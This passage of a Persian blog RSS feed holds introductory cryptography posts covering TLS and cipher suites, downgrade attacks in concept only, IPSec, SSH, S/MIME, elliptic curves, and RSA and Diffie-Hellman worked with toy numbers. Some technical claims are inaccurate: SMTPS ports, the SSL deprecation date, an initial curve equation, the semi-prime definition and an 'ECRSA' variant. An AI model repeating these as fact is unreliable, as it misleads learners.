عمومی سرور رمز میکنیم و سرور با کلید خصوصیش باز میکنه ، در قدم دوم سرور وقتی میخواد جواب مارو بده اونو با کلید خصوصیش رمز میکنه و ما با کلید عمومی سرور باز میکنیم، و مرحله 5 هم باز به همین شکله که ما با کلید عمومی سرور ، میاییم Session Key رو رمز میکنیم و سرور با کلید خصوصیش باز میکنه و میبینه و با اون شروع میکنه پیام هارو رمز کردننکته : رمزنگاری نامتقارن کلا سنگینه و ارتباط باهاش ممکن نیست ، سر همین ما یه تونل میزنیم و از رمزنگاری نامتقارن استفاده میکنیم که در نهایت یه کلید متقارن بسازیم ، اینجا بهش میگن Session Key ، و با اون شروع میکنیم داده هارو رمز کردننکته : این کلید متقارن که بهش میگن Session Key ، برای هر بار ارتباط منقضی میشه و دوباره باید ساخته بشه و بهش کلید موقتی یا Ephemeral هم میگننکته : TLS یه الگریتم رمزنگاری نیست ، فقط یه پروتوکولیه که از الگریتم های هش و رمزنگاری های متفاوتی استفاده میکنه برای امن سازی ارتباطما میتونیم حتی برای ارسال ایمیل هم از TLS استفاده کنیم که بهش میگن SMTPS و روی پورت 989 و 990 هست (یعنی ما یه تانل TLS اول میزنیم ، بعد SMTP رو از توش رد میکنیم) ، به همین ترتیب میتونیم برای FTP ازش استفاده کنیم ، برای پیام رسان ها ، VOIP و..نکته : SSL یه پروتوکول قدیمی هست که دقیقا TLS رو از روی اون ساختن ، ولی SSL سال 1996 منسوخ شده و کلی مشکل امنیتی داره ، ولی TLS ورژن جدیدشه و امروزه استفاده میشه و خیلی امن تره ، پس اگر خواستید اسم تکنیکال بکار ببرید باید بگید TLS ، چون SSL منسوخ و نا امنهنکته : وقتی پروتوکول SSL آمد، سه تا ورژن داشت ، ورژن 1 ، 2 و 3 و از این ورژن ها باگ های زیادی کشف شد و امدن گفتن TLS رو بسازیم ، سر همین آمدن TLS ورژن 1.0 رو از روی SSL ورژن 3 ساختن ، و همینطوری امنش کردن تا به امروزنکته : پروتوکول TLS ورژن های مختلفی داره ، ورژن 1.0 که امن نیست ، ورژن 1.2 که امنه و ورژن 1.3 که خیلی امنهCipher Suites چی هست ؟وقتی توی مرحله 1 ، کاربر گفت من این پروتوکول هارو ساپورت میکنم ، منظورش چی بود؟ ببینید وقتی ما میخوایم ارتباط برقرار کنیم با سرور باید بگیم ما از چی پشتیبانی میکنیم ، ما چه الگریتم هایی رو میفهمیم ؟ درواقع اگر ما به سرور بگیم که ما یه سری الگریتم خاص ساپورت میکنیم ، به اون میگن Cipher Suite TLS v1.2 Cipher Suite : ECDHE_RSA_AES128_GCM_SHA256برای مثال ، CS پروتوکول TLS ورژن 2 چیزی هست که نوشتم : از الگریتم منحنی بیضوی دفی هلمن استفاده میکنه ، از RSA و AES 128 استفاده میکنه و از SHA256 برای هش استفاده میکنه و فقط اینارو میفهمه !TLS v1.3 Cipher Suite : TLS_AES_256_GCM_SHA384در ورژن 1.3 TLS ما از AES 256 و SHA 384 استفاده میکنیم ، حالا ما بیاییم ببینیم ویرگول چه Cipher Suite هایی رو ساپورت میکنه  : https://www.site24x7.com/tools/tls-checker.html عکس 2میبینیم که از Cipher Suite های زیادی پشتیبانی میکنه نکته : وقتی به سرور پیام میدید و مرورگر شما قدیمیه ، مرورگر شما Cipher Suite قدیمی و ضعیفی رو میفرسته به سمت سرور ، چون قدیمیه ! و اگر سرور قبول کنه که اتصال برقرار میشه ولی اگر نکنه که مرورگر نمیتونه ارتباط بگیره !نکتش چیه ؟ اگر شما مدیر یه سرور هستید براتون امنیت خیلی خیلی مهمه ، باید ممنوع کنید استفاده از Cipher Suite های ضعیف رو !نکته : همینجا تا بحث داغه یه چیزی رو بگم ، ما یه حمله داریم به اسم Downgrading یا تنزیل ، همونطور که گفتم اگر ما Cipher Suite هایی که ارسال میکنیم به سمت سرور ضعیف باشن ، ما یه جورایی میتونیم خودمون رو محتمل حمله بکنیم :)یا اگر بیاییم پروتوکول رو از TLS1.3 که امنه ، بکنیم SSL 2 خب واقعا میتونیم گند بزنیم به امنیت ، به این حملات میگن حملات تنزیل یا Downgrading و به این صورت هستن که ما میاییم به یه سری ورژن پایین تر از هر چیزی که ضعف داره ارتباط رو برقرار میکنیم ، حالا میتونیم کاربر رو مجبور به این کار بکنیم و بهش حمله کنیم :) برای مثال سایت های زیر رو اگر چک کنیم : https://www.site24x7.com/tools/tls-checker.html  https://www.cdn77.com/tls-test/result?domain=virgool.io میبینیم که ویرگول امده و همه ورژن های SSL رو بسته و این کار فوق العاده ایه ولی TLS 1.0 و TLS 1.2 رو باز گذاشته که زیاد خطر جدی ای نیست ولی بهتره که اونارم ببنده ، ولی اگر ببنده خیلی از مروگر های قدیمی نمیتونن ارتباط بگیرن با ویرگول ..نکته : استفاده از TLS یه جورایی END TO END ENCRYPTION محسوب میشه و شما با استفاده از این کار رسما هر دستگاهی که بخواد ترافیک شمارو شنود کنده کور میکنید ، چون هیچ دیدی ندارن ، این از دیدگاه امنیت خیلی خوبه ولی از دیدگاه نفوذم خوبه ، بدافزار ها اگر از این تکنیک استفاده کنن ، کارهایی که میکنن قابل دیدن نیست :) هرچیزی کاربرد های خوب و بد ممکنه داشته باشه، برای اینکه حالا بیاییم داخل اون ترافیک رو ببینیم باید Proxy کنیم یا روی host ها مکانیزم امنیتی بزاریم و خیلی دنگو فنگ دیگه !بررسی پروتوکول TOR و مفهوم Perfect Forward Secrecy : چون این مطلب خودش یه مقاله کامل شد ، من شمارو به خوندنش توی این لینک تشویق میکنم  https://vrgl.ir/F2gIL بررسی پروتوکول IPSEC : پروتوکول TCP/IP وقتی ابداع شد اصلا امن نبود و بعدها دیدن که باید به فکر امنیتش باشن ، سر همین امدن و IPSEC یا Internet Protocol Security رو ابدا کردن که پروتوکولی هست که از الگریتم های رمزنگاری استفاده میکنه ، دقیقا مثل TLS و خودش الگریتم رمزنگاری نیست به طور مختصر بگم : ما توی هر بسته ای که ارسال میکنیم یه Header داریم و یه Payload ، توی Header ما ادرس مبدا و مقصد و اینارو داریم و توی Payload ما خود خود دیتا رو داریم پروتوکول IPSEC میاد و یه تونل امن ایجاد میکنه ، چطوریش بماند ولی بدونید که برای Integrity پکت ما میاد از AH (Authentication Headers) استفاده میکنه که شبیه Hash و HMAC ای هست که بررسی کردیم و میاد به شیوه خودش اعتبار سنجی میکنه که مطمئن بشه نه Header و نه Payload عوض نشده و از ESP (Encapsulating Security Payload) استفاده میکنه که هم Header و هم Payload رو رمز کنه مثل TLS که ما Cipher Suite داشتیم ، اینجا هم همون مفهومو داریم ولی بهش میگن SA (Security Associations)چون با IPSEC میشه تانل زد ، ازش به عنوان VPN استفاده میکردن ، ولی الان دیگه از مدل های دیگه VPN استفاده میکنن پروتوکول SSH : ما یه پروتوکول داریم به اسم Telnet که باهاش از راه دور به سرور ها و کامپیوتر ها و دستگاه ها وصل میشن و کامند میزنن، این خیلی نا امنه ، بجاش امدن و ورژن امنشو ساختن که اسمش SSH هستمکانیزم کاری SSH خیلی خیلی شبیه TLS هست ، از این جهت که با کلید عمومی اول باهم صحبت میکنن تا کلید خصوصی یا Session Key رو تبادل کنن و با اون شروع کنن به رمزنگاری پیام ها (و مثل TLS اول تانل ایجاد میکنه)پروتوکول SSH ورژن های مختلفی داره ، ورژن 1 ، 1.5 و 2 که بجز 2 بقیه ورژن ها خیلی نا امن هستن و توی SSH ورژن 2 ما تبادل کلید دفی هلمن رو داریم و MAC برای اینکه از Integrity پیام مطمئن بشیمامنیت ایمیل با S/MIME : این هم یک ایده ای بود برای امنیت ایمیل که از ایده کلید عمومی و مدرک دیجیتال (X.509) استفاده میکنه ، سازوکارشم خیلی راحته ، با کلید عمومی شخص مقصد پیام رو رمز میکنه و میفرسته بهش و طرفم با کلید خصوصیش باز میکنه و میخونه !فقط اینکه این کلید از کجا بدست فرستنده برسه مهمه ، این کلید عمومی باید توی مدرک باشه (X.509) و اون مدرک رو شخص گیرنده یا باید مستقیم ارسال کنه به فرستنده ، یا توی یه سروری بسازه و بگه این ایمیل منه و این هم مدرک و کلید منه و ازش استفاده کنیدبرنامه های پیام رسان ایمیل مثل Gmail - Outlook و.. همگی از این روش استفاده میکنن برای امنیت ایمیل نکته : الان شاید یکم درگیر بشه ذهنتون که فرق S/MIME و SMTPS چیه که مختصر بگم ما تو SMTPS اول یه تانل میزنیم با TLS بعد با SMTP پیام رو میفرستیم ولی تو S/MIME که بیشتر برنامه های تجاری از این استفاده میکنن ، میان و نامه رو رمز میکنن و میفرستن ، اینجا فرق بین تانل و رمز کردن نامه رو اگر درک کرده باشید میفهمید تفاوتشونو ، اون مثال که شاه پیام رو رمز میکنه و با یه سرباز میفرسته ، یا میتونه پیام رو رمز نکنه ولی با 200 تا سرباز بفرسته رو به یادتون بیارید که فرق رمز کردن و تانل رو متوجه بشید !نکته : رمزنگاری S/MIME هم از نوع E2EE هستدر مطلب بعدی سراغ حملات رمزنگاری میریم و توی یه سناریو رمزنگاری رو مرور میکنیم و تمـــــــام ;)سوال یا ابهام یا انتقادی بود در خدمتم، یاعلی ;)</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Tue, 17 Oct 2023 13:00:49 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی :رمزنگاری منحنی بیضوی یا Elliptic-Curve</title>
                <link>https://virgool.io/b-crypto/crypto10-hlorzsn5a7n7</link>
                <description>Elliptic-curve cryptography (ECC)رمزنگاری مقدماتی به زبان ساده :  رمزنگاری منحنی بیضوی یادر این قسمت میرسیم به بررسی الگریتم رمزنگاری منحنی بیضوی Elliptic-curve cryptography (ECC) چرا ما به الگریتم منحنی بیضوی نیاز داریم؟ مگر RSA یا DH چش بود؟اول برسیم به فرمول های الگریتم های RSA که یادتون هست P×Q=N و گفتیم توی مقاله قبلی که امنیتش وابستس به Semi Prime Factorization و امنیت DH هم که یادتونه وابسته بود به Discrete Logarithm Problem ، الگریتم های امضا دیجیتال هم مثل DH هستن !اصطلاحا توی رمزنگاری وقتی امنیت یه الگریتیم وابستس به یه چیزی ، ما به اون چیز میگیم Trap Door Function ، یا درب تله یک الگریتم چرا ما به ECC نیاز داریم؟ مگر این Trap Door ها چقد فجیعن ؟ اگر یادتون باشه گفتم که تنها راه افشا و حمله به یک الگریتم ، Brute Force هست که اون مقدار رو پیدا کنیم؛چون قدرت پردازش در کامپیوتر ها روز افزون زیاد میشه ، زمان Brute Force به مراتب کاهش پیدا کرده و خیلی سریع شده ، و این Trap Door ها سریع تر حل میشن ! پس آمدن گفتن ما باید بریم سراغ اعداد بزرگتر !!از دهه 70 میلادی تا اواخر سال 2000 ، رقمی که برای کلید RSA پیشنهاد شد 2048 بود و چون قدرت کامپیوتر ها از اون موقع خیلی بیشتر شده ، پس باید روی کلید بیشتر از 2048 حساب کنیم که نیاز به پردازش سنگینی برای محسبات رمزنگاری و همچنین شکستنش داره !مشکلی که هست اینه که اگر ما بخوایم یک فایل رو الگریتم RSA یا DH رو با کلید 4096 بیتی یا 7680 بیتی توی یک گوشی موبایل رمز کنیم ، خیلی فرایند فرسایشی و کندی میشه ! حالا فکر کنید ما IOT هم داریم و قراره حتی تستر و یخچالمون هم به اینترنت وصل شه ، پس قراره اون هم بیاد و این محاسباتو انجام بده ، پردازشگر های OT یا همون Embedded Device ها هم جون خاصی که ندارن ! پس به مشکل میخوریم !مشکلی که الگریتم های منحنی بیضوی حل کردن اینه که با سایز کلید های کوچک ولی الگریتم های ریاضی متفاوت ، همون امنیت رو برامون فراهم کردن !عکس 1 تو عکس 1 میبینید که کلید 2048 بیت ما که الان امن فرض میشه در معماری RSA ، اگر بریم رو ECC ما نیاز به کلید 224 بیتی داریم ، یعنی 10 برابر کوچیکتر ! یعنی 10 برابر سرعت پردازش بیشتر !اگر دقت کنید توی RSA -DH طول کلید ها از هر مرحله به مرحله بعدی دوبرابر میشه ولی توی ECC ما سه چهار مرحله بعد طول کلید هامون دوبرابر میشهاین سایتو باز کنید چون باهاش کار داریم ما اصلا اینجا سراغ حل کردن منحنی ها نمیریم و باهاشون کاری نداریم ، صرفا میخوایم از دید رمزنگاری بگیم که بحث چی هست :عکس 2ما یه چیزی داریم تحت عنوان محور y ها که عمودیه و نارنجی و یه محور x ها که سبزه و افقیه ، ما طبق فرمولی که داریم میاییم و عدد گذاری میکنیم و طبق جواب های بدست امده نقطه میزاریم و نقاط رو بهم وصل میکنیم و این منحنی بیضوی قرمز حاصل میشه ، ما برای رسم هر منحنی نیاز به فرمول ریاضی داریم ، فرمول این منحنی اینه : y^2=ax+bکه در اون ما y رو به توان دو رسوندیم و یه عدد a رو ضربدر x کردیم و بعلاوه عدد ثابت b کردیم ، در اینجا a=-1 و b= 1 در نظر گرفته شدنy^2=-1x+1حالا بریم سراغ یه پیچیده ترشون و چند تا نکته :عکس 3عکس 3 از فرمول زیر به دست امده : y^2=x^3-ax+b
y^2=x^3-4x+9وقتی که ترسیم میشه ، اگر ما موس روی روی نقاط ترسیمی ببریم میرسیم به دوتا مقدار ، سمت چپی مقدار x و سمت راستی مقدار y هست ، اگر این دوتارو توی معادله قرار بدیم ، معادله برابر میشه ، الان شما جای x یبار 0 بزارید و جای y بزارید 3، میبینید که اینطوری میشه : y^2= 9 9=(0^3)-(4×0)+9و میبینید که 9=9 میشه، پس میبینید که 0 و 3 جواب درست برای فرمول بالا هستن، همچنین 2 و 3 ، خودتون یه بار تست کنید ! درواقع هر نقطه ای روی این منحنی همچین جواب درستی رو میده !ویژگی های منحنی چیست ؟1 - اگر بیاییم و از محور x نصف کنیم منحنی رو ، جفتشون باید موازی هم باشن ، به بیان دیگه اگر ما زیر یا بالای محور x یه چیزی بکشیم و اونو برگردونیم ، دقیقا شکل ما حاصل میشه : عکس 4اگر محور x رو یادتون باشه از عکس 2 توی عکس 4 ما نصف پایین منحنی رو فقط داریم و با برگردوندن اون روی محور بالایی ، شکل رو کامل کردیم ! 2 - هر نقطه روی این منحنی قرمزه یه نقطه عددی هست که با x وy نظیرش نشونش میدیم،  توی عکس 3 ما مثلا میگیم نقطه 2و3 ، یعنی نقطه ای که x اش 2 باشه و y اش 3 باشه 3 - ما روی هر نقطه ای که میبینیم میتونیم عملیات های خاصی انجام بدیم که اینجا سه تاشو معرفی میکنیم که این ها قراره Trap Door های الگریتم های ECC باشن ، این عملیات ها خیلی مهمن :  Inverse : (این مسئله برای محور X ها فقط صادقه)عکس 5ببینید ما اگر یه نقطه در نظر بگیریم ، مثلا نقطه P ، دقیقا در نظیرش در اونو محور ، ما یه نقطه داریم که معکوس و نظیر همین نقطس ، پس ما میگیم معکوس نقطه P میشه P- و دقیقا معکوسشم صادقه که بگیم نقطه معکوس P- میشه P2. Doubling : عکس 6دوبرابر کردن ویژگی دومه ، اگر ما بخوایم یه نقطه رو دوبرابر کنیم میاییم و یه خط غیر عمودی از اون میکشیم که یه جارو قطع کنه ، به این خط تو ریاضی میگن مماس ، زاویشم مهم نیست و من دوتا کشیدم و در دوجا الان -R داریم، شما میتونید توی 20 جای دیگه هم -R داشته باشید؛ الان خط مشکی که از P به R- کشیده شده خط مماس نام داره ، به این ویژگی میگن Doubling یا دوبرابر کردن؛ و ما اینطوری میگیم :P+P= -R or 2P = R حالا ما اگر بیاییم این R- رو برعکس کنیم (روی محورX) ، همونطور که بلدید یه خط میکشیم مستقیم به اونور محور x ها و همونطور که میدونید میشه R  ، حالا ما تو بحث منحنی به این میگیم P dot P = R یا عملیات &quot;دات&quot; کردن 3. Addition : عکس 7سومین ویژگی افزونگی هست :افزونگی خیلی سادست ، ما در Doubling امدیم و عملیات &quot;دات&quot; رو روی P و P (یا خودش) انجام دادیم ، حالا فرض کنید ما دوتا نقطه انتخاب کردیم ، یکی P و دیگری Q ، حالا جفتشون رو بهم وصل میکنیم و ادامه میدیم ، مثلا در عکس سمت چپ نقطه از خط میگذره و اسمشو میزاریم R- ، حالا ما بلدیم که چطوری R- رو مثبت کنیم ، R- رو عملیات Inverse رو روش انجام میدیم و میرسیم به R ، حالا ما نقطه جدید داریم ، میاییم دوباره این عملیات رو اینبار با نقطه جدید انجام میدیم ، این بار P رو به R وصل میکنیم ، عکس وسطی ما این کارو کردیم و نقطه حاصل شد S- ، اون Inverse میکنیم و میرسیم به S ، اگر ادامه بدیم و P رو به S وصل کنیم میرسیم به F و برعکسش کنیم میرسیم به F- و همینطور تا بی نهایتما میگیم P dot Q = -R و همینطوری ادامه میدیم : P dot R = -S و...به گیف زیر توجه کنید :عکس 8این گیف (عکس8) که از وبلاگ Cloud Flare اوردمش خیلی روون و راحت توضیح میده که چقد ما میتونیم ادامه بدیم این عملیات رواولش با Doubling شروع میشه و بقیش با Addition و Inverse ادامه پیدا میکنه و اینطوری میشه : A dot B = CA dot A = BA dot B = CA dot C = DA dot D = E...A dot Y = Zاین عملیات 25 بار طور میکشه (اگر ما اندازه حروف الفبا ادامه بدیم) در نهایت به سه تا چیز میرسیم : نقطه شروع مون که A بود ، نقطه پایان که Z بود و 25 بار عملیات مون ، حالا بریم سراغ اصل Trap door مون : اگر به شما A رو بدن و بگن 25 بار عملیات &quot;دات&quot; رو انجام بده ، راحته که برسیم به Z ، آمـــــــا اگر بهتون A و Z رو بدن و بگن چند بار باید عملیات &quot;دات&quot; رو انجام داد برای اینکه از A به Z برسیم ، نمیتونید ! و اینه که سخته ! چه چیزی حالا اینو سخت و امنش کرد؟ مهاجم میتونه Brute Force بکنه و از A برسه به Z ، حالا هرچقدر که طول بکشه ، چه چیزی اینو غیر ممکن میکنه ؟ عکس 9فرض کنید به ما گفتن از A برس به Z ، اگر ندونیم چند تا dot باید انجام بدیم ، باید دونه دونه بیاییم و dot رو انجام بدیم که برسیم به Z (تعدادش رو نمیدونم ولی توی این مثال 25 تا بود و خیلی عدد کوچیکیه)ولی توی الگریتم های ECC این تعداد رو میدونن ، در الگریتم های ECC میان و از روش کوتاه شده یا Shortcut میرن ، وقتی میدونن قراره 25 بار این عملیات انجام بشه ، اول میان یه A dot A انجام میدن که میشه 2A ، حالا یه 2A dot A و وقتی جواب شد سه تا 3A dot 3A و همینطوری تا اعداد بزرگ بشن و برسیم به 25 تا (شما میتونید از همون اول 2A dot 2A انجام بدید  یا هرچی دوست داشتید) و در نهایت سریع میرسن به جواب !نکته اینجاست که اگر بگیم یک الگریتم ECC یک کلید نرمال 224 بیتی انتخاب کنه که مطابق تصویر میبینید ، چند صد سال طول میکشه که بخوایم دستی بیاییم عملیات dot رو دونه دونه انجام بدیم و برسیم به این عدد ، ولی خود ECC وقتی بخواد اینو انجام بده ، چون تعداد dot رو میدونی خیلی سریع میرسه به جواب.نکات پایانی : الگریتم های DH و DSA هم ورژن منحنی بیضوی دارن : ECDSA و ECDH ، این دوتا اگر یادتون باشه Trap door شون یکی بود و مبتنی بر Discrete Logarithm Problem بود.اما برای RSA هم ما ورژن منحنی بیضوی داریم ولی امنیتش فرق آنچنانی نکرده و ارزش استفاده نداره ، بهش میگن ECRSA ولی استفاده ای نمیشه ازش !!درک مبحث ECC و امنیتش راحت نیست و شاید اونچنان به دردتون نخوره؛ منم که اولش خوندم نفهمیدم و بعد دوسه بار خوندن و سوال پرسیدن فهمیدمش، اگر برای شما هم ابهام بود حتما بپرسید ، اگر میبینید زیاد به دردتون نمیخوره فقط ازش رد بشید ، توی سری پیشرفته یکم عمیق تر و همچنین عملی تر بررسیش میکنیم :)در مقاله بعدی میریم سراغ پروتوکول های شبکه و امنیتشون و دوتا مفهوم مهم تو امنیت سوال یا ابهام یا انتقادی بود در خدمتم، یاعلی ;)</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Tue, 17 Oct 2023 12:28:24 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : ریاضیات و شرح کارکرد الگریتم های نامتقارن</title>
                <link>https://virgool.io/b-crypto/crypto9-ndzdflcz3eio</link>
                <description>رمزنگاری مقدماتی به زبان ساده : بررسی ریاضیات مورد نیاز در رمزنگاری و بررسی عمیق تر الگریتم های رمزنگاری نامتقارندر این قسمت میخوایم وارد ریاضیات بشیم که خیلی هم ساده هستند، پنیـــــک نکنید ! و بعد وارد الگریتم های نامتقارن میشیم و یکم تکنیکال تر توضیحش میدیم و میخوایم یکم دید ریاضی داشته باشیم که ببینیم اون پشت چه اتفاقی می افته، دید ریاضی کمی که توی قسمت مقدماتی پیدا میکنید خیلی لازمه و اگر بخواید بعدا روی حملات هم کار کنید به دردتون میخوره، ریاضیات پیشرفته ترو (که باز تکرار میکنم ، اونا هم سخت نیستن) میزاریم برای سری پیشرفته عکس 1 فاکتور : اولین مفهومی که باید باهاش آشنا بشید بخش پذیری یا فاکتوره ، به طور ساده میشه یه سری عدد که اگر در هم ضرب کنیم میرسیم به یه عددی، مثلا چند تا عدد میشناسید که ضربشون درهم بشه 12؟ به اون اعداد میگن اعداد فاکتور 12 یا در زبان فارسی ما میگیم بخش پذیر، 12 به چه اعدادی بخش پذیره؟ یعنی 12 رو بر چی تقسیم کنیم عدد اعشاری نمیشه و جواب عدد صحیح داره؟ این خیلی مهمهنکته : ما هم میتونیم بگیم 2و6 جزو فاکتور های 12 هستن ، هم میتونیم بگیم 6و4 جزو فاکتور های 12 هستن، دقت کنید که اینجا نه جمع 6و4 میشه 12 و نه ضربشون ولی میتونیم بگیم 6و4 جزو فاکتور های 12 هستن، یا میتونیم بگیم 1و3 جزو فاکتور های 12 هستن اعداد اول : اعداد اول اعدادین که جز خودشون و 1 به عدد دیگری بخش پذیر نیستن، مثلا عدد 2 به خودش فقط بخش پذیره (یعنی تقسیم میشه و جوابش عدد صحیح میاد) و 1 اعداد نیمه اول : این مفهوم توی زبان فارسی جایگزینی نداره و ما بهش میگیم نیمه اول، اعداد نیمه اول اعدادی هستن که عوامل یا فاکتور هاشون اعداد اول هستن، بجز 1 و خود عدد، مثلا نگاه کنید به مثال عدد 21 ، عدد 21 به 1،3،7،21 بخش پذیره، اگر 1 و 21 رو حذف کنیم میرسیم به 3و7 که جفتشون عدد اول هستن ، پس اینجا 21 میشه نیمه اول، پس به طور خلاصه هر عددی که به اعداد اول بخش پذیر باشه میشه نیمه اول !نکته : با ضرب اعداد اول در هم میتونیم به اعداد نیمه اول برسیم ، مثلا 2و3 رو ضرب کنیم میشه 6 و میشه نیمه  اول، 2×5 یا 3×7 و... عکس 2باقی مانده : ما در تقسیم سه رکن داریم، باقی مانده، خارج قسمت و مقسوم علیه ، مثلا 8 تقسیم به 4 میشه 2 و باقی مونده میشه صفر، 4 میشه مقسوم علیه و 2 میشه خارج قسمت مثلا 12 تقسیم به 5 باقی موندش میشه 2 ، مثلا 15 تقسیم به 3 خارج قسمتش میشه 5 و باقی مانده صفر hpn# bc
12%5
2ما در برنامه نویسی هم با علامت درصد &quot;%&quot; باقی مانده رو نشون میدیمتوان : خیلی راحته ، بجای اینکه بگیم عدد 2 رو 4 بار در خودش ضرب کن میگیم 2 به توان 4 hpn# bc
2^4
16لگاریتم : لگاریتم برعکس شده توان هست، ما توی توان میگیم 2 به توان 4 میشه 16 ، توی لگاریتم میگیم 16 در مبنای 2 میشه چند؟ در واقع لگاریتم برای این آمد که ما میخواستیم ببینیم 2 رو چند بار درخودش ضرب کنیم (به توان چند برسونیم) میشه 16 ، پس امدیم 16 و 2 رو گذاشتیم تو لگاریتم و جواب میشه 4 ، یعنی 2 رو 4 بار در خودش ضرب کنی میشه 16دیدید چه راحت بود؟ ? بررسی الگریتم RSA : عکس 3وقتی میخوایم توی الگریتم RSA کلید بسازیم برای شروع دوتا عدد اول میخوایم، رندوم ما 7 و 19 رو انتخاب میکنیم، اینجا PوQ رو داریم، حالا باید این دوتارو ضرب کنیم تا N بدست بیاد (چرا شو کاری نداشته باشید) و اگر تونستید بگید این N که عدد 133 هست چه عددیه؟ عدد Semi-Prime یا نیمه اوله (چون از ضرب دوتا عدد اول بدست آمده) ، حالا باید Totient رو حساب کنیم که میاد و دوتا عدد PوQ ای که اول داشتیم رو یکی ازش کم میکنه و ضرب هم میکنه که اینجا میشه 108، حالا بریم سراغ ساخت کلید و رمز کردن برای ساخت کلید عمومی میاییم و یه عدد انتخاب میکنیم که حتما اول باشه، حتما از T کوچک تر باشه و عاملش از T نباشه، یعنی اگر تقسیمش کردیم بر 108 باقی ماندش 0 نیاد، ما میاییم عدد 3 رو انتخاب میکنیم و میبینیم باقی ماندش 0 میاد، این کنکله ! میریم سراغ 5 و میبینیم باقی مانده داره، خب این خوبه ولی ضعیفه، میریم سراغ 29 و میبینیم باقی ماندش 21 میاد، همین خوبه، میتونیم ادامه بدیم ولی خب فعلا بسنده میکنیم به همین؛ برای کلید خصوصی میاییم و یه عددی انتخاب میکنیم که توی فرمول صدق کنه، یعنی یه عددی باشه که ضربدر کلید عمومی ، باقی ماندش بر T بشه 1 ، که خب مثلا عدد 41 رو انتخاب میکنیم و میبینیم این شرطو داره حالا وقت انکریپت کردنه ، ما یه پیام داریم اینجا که عدد 55 هست، فرمول Encrypt کردن اینطوریه که اول اون پیام رو به توان کلید عمومی میرسونیم و باقی موندشو بر N بدست میاریم که بهش میگن Cipher Textاینجا 55 رو به توان 29 رسوندیم و باقی ماندش بر 133 شد 118 که Cipher Text ما هست، برای Decryption میاییم و 118 رو به توان کلید خصوصی میرسونیم و باقی ماندش بر N میشه پیام اصلی ما که 118 به توان 41 باقی ماندش بر 133 میشه 55 که پیام ماست :)نکته : خودتون تست کنید و اینبار پیام رو بجای کلید عمومی با کلید خصوصی تست کنید و با کلید عمومی باز کنید و ببینید که نتیجه همونه بررسی امنیت الگریتم RSA از دیدگاه ریاضی :Semi-Prime Factorization :امنیت الگریتم RSA وابستس به تجزیه اعداد نیمه اول !توی ریاضی ما نمیتونیم ببینیم چه اعداد اولی در هم ضرب شدن که یه عدد نیمه اول بدست امده، مثلا عدد 133 تو مثال عکس 3 رو نگاه کنید، نمیتونید بفهمید از ضرب 7 و 19 بدست آمده، اگر فکر میکنید میتونید بفهمید و راحته بگید عدد 2623 که عدد نیمه اوله از ضرب چه اعداد اولی بدست آمده ☺️از سال 1991 سازنده های RSA امدن 54 تا عدد نیمه اول منتشر کردن و براش جایزه گذاشتن که کیا میتونن بگن چه این اعداد نیمه اول از ضرب چه اعدادی بدست آمدن ، تا سال 2018 فقط 20 تا از اون اعداد بدست امده و هنوز 34 تای دیگه از اون اعداد مبهم هستن :) اون اعداد تو رنج 700 بیت بودن !وقتی بعد 20 سال یه عدد 700 بیتی کشف بشه، اگر طول کلید شما 1024 باشه بنظرتون امن نیست ؟ طول کلید توصیه شده 2048 عه و مطمئن باشید اگر این عدد رو انتخاب کنید هیچوقت نمیتونن بفهمن کلیدتون چی بوده! هرچند شما 20-30 سال هم بزاری نمیتونی یه کلید 1024 بیتی رو بفهمی :))عدد 2623 فقط 12 بیته ! فکر کنید یه عدد که 100 برابر این باشه چه امنیتی داره !!بررسی امنیت الگریتم Diffie-Hellman از دیدگاه ریاضی :عکس 4در اینجا اول رز و الکس سر دوتا عدد توافق میکنن، یکی 13 که P عه و یکی 6 که G هست ، بعد هر کدوم عشقی یه عدد برای خودشون انتخاب میکنن  ، حالا کاری که باید بکنن اینه که G یا همون 6 رو به توان عدد خودشون بکنن، برای الکس 6 به توان 5 و برای رز 6 به توان 4 ، بعد باقی ماندشو بر 13 بدست بیارن ، برای الکس شد 2 و برای رز شد 9، این 2 و 9 اینجا میشه یه چیز عمومی( Public Key نمیشه ها، میشه یه چیزی) حالا این چیزو به هم دیگه میدن و باید این عدد رو به توان کلید خصوصی خودشون کنن، الکس 9 رز رو به توان 5 خودش میکنه و رز هم 2 الکس رو به توان 4 خودش، حالا باقی ماندش بر 13 رو میگیرن و هردو به یه عدد رسیدن، هردو به 3 رسیدن که کلید خصوصی مشترک بینشونه!Discrete Logarithm Problem : اگر خواستید روی بحث امنیت الگریتم دفی هلمن کار کنید باید مسئله لگاریتم گستته رو درک کنید!ما یه توان داشتیم و یه لگاریتم، اگر ما داشته باشیم G به توان X میشه N G^X=Nخیلی سادست اگر G و X رو داشته باشیم و به N برسیم، ولی خیلی سخته که G و N رو داشته باشیم و به X برسیم؛ دقت کنید گفتم سخته نگفتم نشدنیه، حالا ما میاییم و مسئله لگاریتم رو گسستش میکنیم، یعنی چیکار میکنیم ؟ G^X MOD P = N میگیم خب بیا x رو بکن حاصل باقی مانده یه چیزی ! حالا اگر G-P و N رو داشته باشیم، غیر ممکنه برسیم به X، چرا این حرفو میزنم؟باقی مانده تقسیم 12 بر 5 میشه 2 - باقی مانده تقسیم 17 بر 5 میشه 2 - باقی مانده تقسیم 22 بر 5 هم میشه 2 - باقی مانده تقسیم 27 بر 5 هم میشه 2 تا ..بینهایتحالا من به شما 2 و 5 رو بدم بگم عدد X رو پیدا کن، دمـــارت در میاد !تنها راهش اینه که بشینی و تمام اعداد رو امتحان کنی که اوووووه خیلی طول میکشه و به این روش میگن Brute Force که میشه گفت نشدنیه !در این مطلب شما با مفاهیم پایه ریاضی و فرمول های الگریتم های نامتقارن آشنا شدید، دیدید که چیز سختی اصلا نیست ! کل رمزنگاری و ریاضیات پیچیده ای که میگن همینه ! همش با توضیحات ساده قابل فهمه؛ ولی اگر بخواید الگریتمی طراحی کنید... یکم ریزه کاری و سختی و دانش ریاضی بالایی میخواد که واقعا نیازه متخصص باشید و الگریتمتونم توسط چندین متخصص خبره تست بشه !در مطلب بعدی سراغ رمزنگاری منحنی بیضوی یا Elliptic Curve Cryptography میریم، هرجای این مطلب سوال یا ابهام یا انتقادی بود در خدمتم، یاعلی ;)</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
